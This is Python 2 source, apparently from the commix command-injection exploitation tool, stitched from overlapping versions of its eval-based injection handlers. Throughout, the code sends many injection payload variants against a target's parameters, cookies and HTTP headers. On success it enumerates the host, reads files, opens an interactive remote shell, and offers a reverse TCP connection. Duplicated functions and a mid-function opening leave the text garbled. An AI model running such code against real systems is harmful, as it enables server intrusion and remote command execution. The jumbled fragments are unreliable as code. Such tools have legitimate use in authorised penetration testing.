suffix, http_request_method, url,
vuln_parameter, alter_shell,
filename)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Command execution results.
shell = eb_injector.injection_results(
response, TAG)
if shell:
shell = "".join(
str(p) for p in shell).replace(
" ", "", 1)[:-1]
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(technique,
go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def do_check(url, filename):
classic_state = False
eval_based_state = False
time_based_state = False
file_based_state = False
# Check if defined "--delay" option.
if menu.options.delay:
delay = menu.options.delay
else:
delay = settings.DELAY
# Check if authentication is needed.
if menu.options.auth_url and menu.options.auth_data:
# Do the authentication process.
authentication.authentication_process()
# Check if authentication page is the same with the next (injection) URL
if urllib2.urlopen(url).read() == urllib2.urlopen(
menu.options.auth_url).read():
print Back.RED + "(x) Error: It seems that the authentication procedure has failed." + Style.RESET_ALL
sys.exit(0)
elif menu.options.auth_url or menu.options.auth_data:
print Back.RED + "(x) Error: You must specify both login panel URL and login parameters." + Style.RESET_ALL
sys.exit(0)
else:
pass
# Check if HTTP Method is GET or POST.
header_name = ""
if not menu.options.data:
http_request_method = "GET"
if not settings.COOKIE_INJECTION \
and not settings.USER_AGENT_INJECTION \
and not settings.REFERER_INJECTION:
url = parameters.do_GET_check(url)
check_parameter = parameters.vuln_GET_param(url)
the_type = " parameter "
else:
http_request_method = "POST"
parameter = menu.options.data
parameter = parameters.do_POST_check(parameter)
check_parameter = parameters.vuln_POST_param(parameter, url)
the_type = " parameter "
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
check_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
the_type = " HTTP header "
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
check_parameter = ""
the_type = " HTTP header "
# Referer Injection
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
check_parameter = ""
the_type = " HTTP header "
else:
pass
if len(check_parameter) != 0:
check_parameter = " '" + check_parameter + "'"
print "(*) Setting the " + "(" + http_request_method + ")" + check_parameter + header_name + the_type + "for tests."
# Estimating the response time (in seconds)
delay, url_time_response = requests.estimate_response_time(
url, http_request_method, delay)
# Check all injection techniques
if not menu.options.tech:
# Check if it is vulnerable to classic command injection technique.
if cb_handler.exploitation(url, delay, filename,
http_request_method) != False:
classic_state = True
# Check if it is vulnerable to eval-based command injection technique.
if eb_handler.exploitation(url, delay, filename,
http_request_method) != False:
eval_based_state = True
# Check if it is vulnerable to time-based blind command injection technique.
if tb_handler.exploitation(url, delay, filename, http_request_method,
url_time_response) != False:
time_based_state = True
# Check if it is vulnerable to file-based semiblind command injection technique.
if fb_handler.exploitation(url, delay, filename, http_request_method,
url_time_response) != False:
file_based_state = True
else:
# Check if it is vulnerable to classic command injection technique.
if "classic" in menu.options.tech or len(
menu.options.tech) <= 4 and "c" in menu.options.tech:
# Check if classic results-based command injection technique succeeds.
if cb_handler.exploitation(url, delay, filename,
http_request_method) != False:
classic_state = True
elif menu.options.tech == "classic":
cb_handler.exploitation(url, delay, filename, http_request_method)
else:
classic_state = False
# Check if it is vulnerable to eval-based command injection technique.
if "eval-based" in menu.options.tech or len(
menu.options.tech) <= 4 and "e" in menu.options.tech:
# Check if eval-based command injection technique succeeds.
if eb_handler.exploitation(url, delay, filename,
http_request_method) != False:
eval_based_state = True
elif menu.options.tech == "eval-based":
eb_handler.exploitation(url, delay, filename, http_request_method)
else:
eval_based_state = False
# Check if it is vulnerable to time-based blind command injection technique.
if "time-based" in menu.options.tech or len(
menu.options.tech) <= 4 and "t" in menu.options.tech:
# Check if time-based blind command injection technique succeeds.
if tb_handler.exploitation(url, delay, filename,
http_request_method,
url_time_response) != False:
time_based_state = True
elif menu.options.tech == "time-based":
tb_handler.exploitation(url, delay, filename, http_request_method,
url_time_response)
else:
time_based_state = False
# Check if it is vulnerable to file-based semiblind command injection technique.
if "file-based" in menu.options.tech or len(
menu.options.tech) <= 4 and "f" in menu.options.tech:
# Check if file-based semiblind command injection technique succeeds.
if fb_handler.exploitation(url, delay, filename,
http_request_method,
url_time_response) != False:
file_based_state = True
elif menu.options.tech == "file-based":
fb_handler.exploitation(url, delay, filename, http_request_method,
url_time_response)
else:
file_based_state = False
if classic_state == False and eval_based_state == False and time_based_state == False and file_based_state == False:
info_msg = "(x) Critical: The tested (" + http_request_method + ")" + check_parameter + " parameter appear to be not injectable."
if not menu.options.alter_shell:
info_msg += " Use the option '--alter-shell'"
else:
info_msg += " Remove the option '--alter-shell'"
info_msg += " and/or try to audit the HTTP headers (i.e 'User-Agent', 'Referer', 'Cookie' etc)."
print Back.RED + info_msg + Style.RESET_ALL
# else:
# print ""
sys.exit(0)
def eb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "Results-based Command Injection"
technique = "eval-based injection technique"
sys.stdout.write("(*) Testing the " + technique + "... ")
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(
settings.EVAL_SUFFIXES)
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
try:
# Eval-based decision payload (check if host is vulnerable).
payload = eb_payloads.decision(separator, TAG, randv1,
randv2)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload,
urllib.quote(suffix))
payload = payload + "" + TAG + ""
payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " +
payload + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = eb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = eb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = eb_injector.referer_injection_test(
url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(
payload, http_request_method, url)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate test results.
shell = eb_injector.injection_test_results(
response, TAG, randvcalc)
if not menu.options.verbose:
percent = ((i * 100) / total)
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(percent) + "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(percent) + "%"
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename, injection_type,
technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename,
http_request_method,
vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
) + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", payload) + Style.RESET_ALL
# Check for any enumeration options.
eb_enumeration.do_check(separator, TAG, prefix, suffix,
http_request_method, url,
vuln_parameter)
# Check for any system file access options.
eb_file_access.do_check(separator, TAG, prefix, suffix,
http_request_method, url,
vuln_parameter)
# Check if defined single cmd.
if menu.options.os_cmd:
eb_enumeration.single_os_cmd_exec(
separator, TAG, prefix, suffix,
http_request_method, url, vuln_parameter)
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
gotshell = raw_input(
"\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > "
).lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "?":
menu.shell_options()
elif cmd.lower() == "quit":
logs.logs_notification(filename)
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
break
else:
pass
else:
# The main command injection exploitation.
response = eb_injector.injection(
separator, TAG, cmd, prefix,
suffix, http_request_method, url,
vuln_parameter)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Command execution results.
shell = eb_injector.injection_results(
response, TAG)
if shell:
shell = "".join(
str(p) for p in shell).replace(
" ", "", 1)[:-1]
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
if menu.options.verbose:
sys.stdout.write(
"\r(*) Continue testing the " + technique +
"... ")
sys.stdout.flush()
break
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def do_check(url, filename):
check_http_headers = False
# Check if defined "--delay" option.
if menu.options.delay:
delay = menu.options.delay
else:
delay = settings.DELAY
# Check if authentication is needed.
if menu.options.auth_url and menu.options.auth_data:
# Do the authentication process.
authentication.authentication_process()
# Check if authentication page is the same with the next (injection) URL
if urllib2.urlopen(url).read() == urllib2.urlopen(
menu.options.auth_url).read():
print Back.RED + settings.ERROR_SIGN + "It seems that the authentication procedure has failed." + Style.RESET_ALL
sys.exit(0)
elif menu.options.auth_url or menu.options.auth_data:
print Back.RED + settings.ERROR_SIGN + "You must specify both login panel URL and login parameters." + Style.RESET_ALL
sys.exit(0)
else:
pass
# Check if HTTP Method is GET.
if not menu.options.data:
# Enable Cookie Injection
if menu.options.cookie and menu.options.level > 1:
settings.COOKIE_INJECTION = True
http_request_method = "GET"
# Check for stored injections on User-agent / Referer headers (if level > 2).
if menu.options.level > 2:
check_parameter = ""
stored_http_header_injection(url, check_parameter,
check_http_headers,
http_request_method, filename, delay)
# Enable Cookie Injection
if menu.options.cookie:
settings.COOKIE_INJECTION = True
if not settings.COOKIE_INJECTION:
found_url = parameters.do_GET_check(url)
if found_url != False:
for i in range(0, len(found_url)):
url = found_url[i]
check_parameter = parameters.vuln_GET_param(url)
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if check_parameter in settings.TEST_PARAMETER:
# Check for session file
if check_for_stored_sessions(
url, http_request_method):
injection_proccess(url, check_parameter,
http_request_method,
filename, delay)
else:
if check_for_stored_sessions(url, http_request_method):
injection_proccess(url, check_parameter,
http_request_method, filename,
delay)
if not settings.LOAD_SESSION:
for i in range(0, len(found_url)):
url = found_url[i]
check_parameter = parameters.vuln_GET_param(url)
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if check_parameter in settings.TEST_PARAMETER:
injection_proccess(url, check_parameter,
http_request_method,
filename, delay)
else:
injection_proccess(url, check_parameter,
http_request_method, filename,
delay)
# Check if HTTP Method is POST.
else:
http_request_method = "POST"
# Check for stored injections on User-agent / Referer headers (if level > 2).
if menu.options.level > 2:
check_parameter = ""
stored_http_header_injection(url, check_parameter,
check_http_headers,
http_request_method, filename, delay)
# Check if HTTP Method is POST.
parameter = menu.options.data
found_parameter = parameters.do_POST_check(parameter)
# Remove whitespaces
# Check if singe entry parameter
if type(found_parameter) is str:
found_parameter_list = []
found_parameter_list.append(found_parameter)
found_parameter = found_parameter_list
# Remove whitespaces
found_parameter = [x.replace(" ", "") for x in found_parameter]
# Check if multiple parameters
for i in range(0, len(found_parameter)):
parameter = menu.options.data = found_parameter[i]
check_parameter = parameters.vuln_POST_param(parameter, url)
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if check_parameter in settings.TEST_PARAMETER:
# Check for session file
if check_for_stored_sessions(url, http_request_method):
injection_proccess(url, check_parameter,
http_request_method, filename,
delay)
else:
if check_for_stored_sessions(url, http_request_method):
injection_proccess(url, check_parameter,
http_request_method, filename, delay)
if not settings.LOAD_SESSION:
for i in range(0, len(found_parameter)):
parameter = menu.options.data = found_parameter[i]
check_parameter = parameters.vuln_POST_param(parameter, url)
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if check_parameter in settings.TEST_PARAMETER:
injection_proccess(url, check_parameter,
http_request_method, filename,
delay)
else:
injection_proccess(url, check_parameter,
http_request_method, filename, delay)
# Enable Cookie Injection
if menu.options.cookie and menu.options.level > 1:
settings.COOKIE_INJECTION = True
# Cookie Injection
if settings.COOKIE_INJECTION == True:
cookie_value = menu.options.cookie
# Check for stored injections on User-agent / Referer headers (if level > 2).
if menu.options.level > 2:
check_parameter = ""
stored_http_header_injection(url, check_parameter,
check_http_headers,
http_request_method, filename, delay)
header_name = " Cookie"
settings.HTTP_HEADER = header_name[1:].lower()
cookie_parameters = parameters.do_cookie_check(menu.options.cookie)
if type(cookie_parameters) is str:
cookie_parameters_list = []
cookie_parameters_list.append(cookie_parameters)
cookie_parameters = cookie_parameters_list
# Remove whitespaces
cookie_parameters = [x.replace(" ", "") for x in cookie_parameters]
for i in range(0, len(cookie_parameters)):
menu.options.cookie = cookie_parameters[i]
check_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if check_parameter in settings.TEST_PARAMETER:
# Check for session file
if check_for_stored_sessions(url, http_request_method):
injection_proccess(url, check_parameter,
http_request_method, filename,
delay)
else:
if check_for_stored_sessions(url, http_request_method):
injection_proccess(url, check_parameter,
http_request_method, filename, delay)
if not settings.LOAD_SESSION:
for i in range(0, len(cookie_parameters)):
menu.options.cookie = cookie_parameters[i]
check_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if check_parameter in settings.TEST_PARAMETER:
injection_proccess(url, check_parameter,
http_request_method, filename,
delay)
else:
injection_proccess(url, check_parameter,
http_request_method, filename, delay)
if settings.COOKIE_INJECTION == True:
# Restore cookie value
menu.options.cookie = cookie_value
# Disable cookie injection
settings.COOKIE_INJECTION = False
# Custom header Injection
if settings.CUSTOM_HEADER_INJECTION == True:
check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME
settings.HTTP_HEADER = header_name[1:].lower()
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename,
delay)
# Check for stored injections on User-agent / Referer headers (if level > 2).
if menu.options.level > 2:
check_parameter = ""
check_http_headers = True
stored_http_header_injection(url, check_parameter, check_http_headers,
http_request_method, filename, delay)
# All injection techniques seems to be failed!
if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False:
info_msg = settings.CRITICAL_SIGN + "All the tested (" + http_request_method + ") parameters appear to be not injectable."
if not menu.options.alter_shell:
info_msg += " Try to use the option '--alter-shell'"
else:
info_msg += " Try to remove the option '--alter-shell'"
if menu.options.level < 3:
info_msg += " and/or try to increase '--level' values to perform more tests (i.e 'User-Agent', 'Referer', 'Cookie' etc)"
info_msg += "."
print Back.RED + info_msg + Style.RESET_ALL
sys.exit(0)
#eof
def eb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "results-based command injection"
technique = "eval-based code injection technique"
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[
item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
url = eb_injector.warning_detection(url, http_request_method)
if not settings.LOAD_SESSION:
info_msg = "Testing the " + technique + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(
settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(
url, technique):
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, delay, filename,
http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = eb_payloads.decision_alter_shell(
separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = eb_payloads.decision(
separator, TAG, randv1, randv2)
suffix = urllib.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + urllib.quote(")}") in payload:
payload = payload.replace(
")%3B" + urllib.quote(")}"),
")" + urllib.quote(")}"))
#payload = payload + TAG + ""
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
else:
payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
sys.stdout.write(
"\n" + settings.print_payload(payload))
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = eb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = eb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = eb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
response = eb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(
payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, delay)
# Evaluate test results.
shell = eb_injector.injection_test_results(
response, TAG, randvcalc)
if not settings.VERBOSITY_LEVEL >= 1:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if shell == False:
info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
"%20", " ", payload) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell[0],
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response=0,
delay=0,
how_long=0,
output_length=0,
is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input(
"\n" +
settings.print_question_msg(question_msg)
).lower()
if enumerate_again in settings.CHOICE_YES:
eb_enumeration.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename,
delay)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
break
elif enumerate_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
eb_enumeration.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, delay)
if not menu.file_access_options(
) and not menu.options.os_cmd:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
if settings.ENUMERATION_DONE != True:
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
sys.stdout.write(
settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline(
).replace("\n", "").lower()
if file_access_again in settings.CHOICE_YES:
eb_file_access.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename,
delay)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
if not menu.enumeration_options():
print ""
eb_file_access.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, delay)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
if not menu.file_access_options():
print ""
eb_enumeration.single_os_cmd_exec(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, delay)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
sys.stdout.write(
settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace(
"\n", "").lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if cmd.lower(
) in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(
cmd.lower(), technique,
go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(
warn_msg) + "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp(
)
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(
settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options(
)
result = checks.check_reverse_tcp_options(
cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
response = eb_injector.injection(
separator, TAG, cmd,
prefix, suffix,
whitespace,
http_request_method,
url, vuln_parameter,
alter_shell, filename)
# Evaluate injection results.
shell = eb_injector.injection_results(
response, TAG, cmd)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has failed!"
print settings.print_critical_msg(
err_msg)
else:
pass
else:
# The main command injection exploitation.
response = eb_injector.injection(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(
url, delay)
if menu.options.ignore_session or\
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(
response, TAG, cmd)
shell = "".join(
str(p)
for p in shell).replace(
" ", "", 1)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, shell,
vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
#if shell:
if shell != "":
shell = "".join(
str(p) for p in shell)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(
err_msg) + "\n"
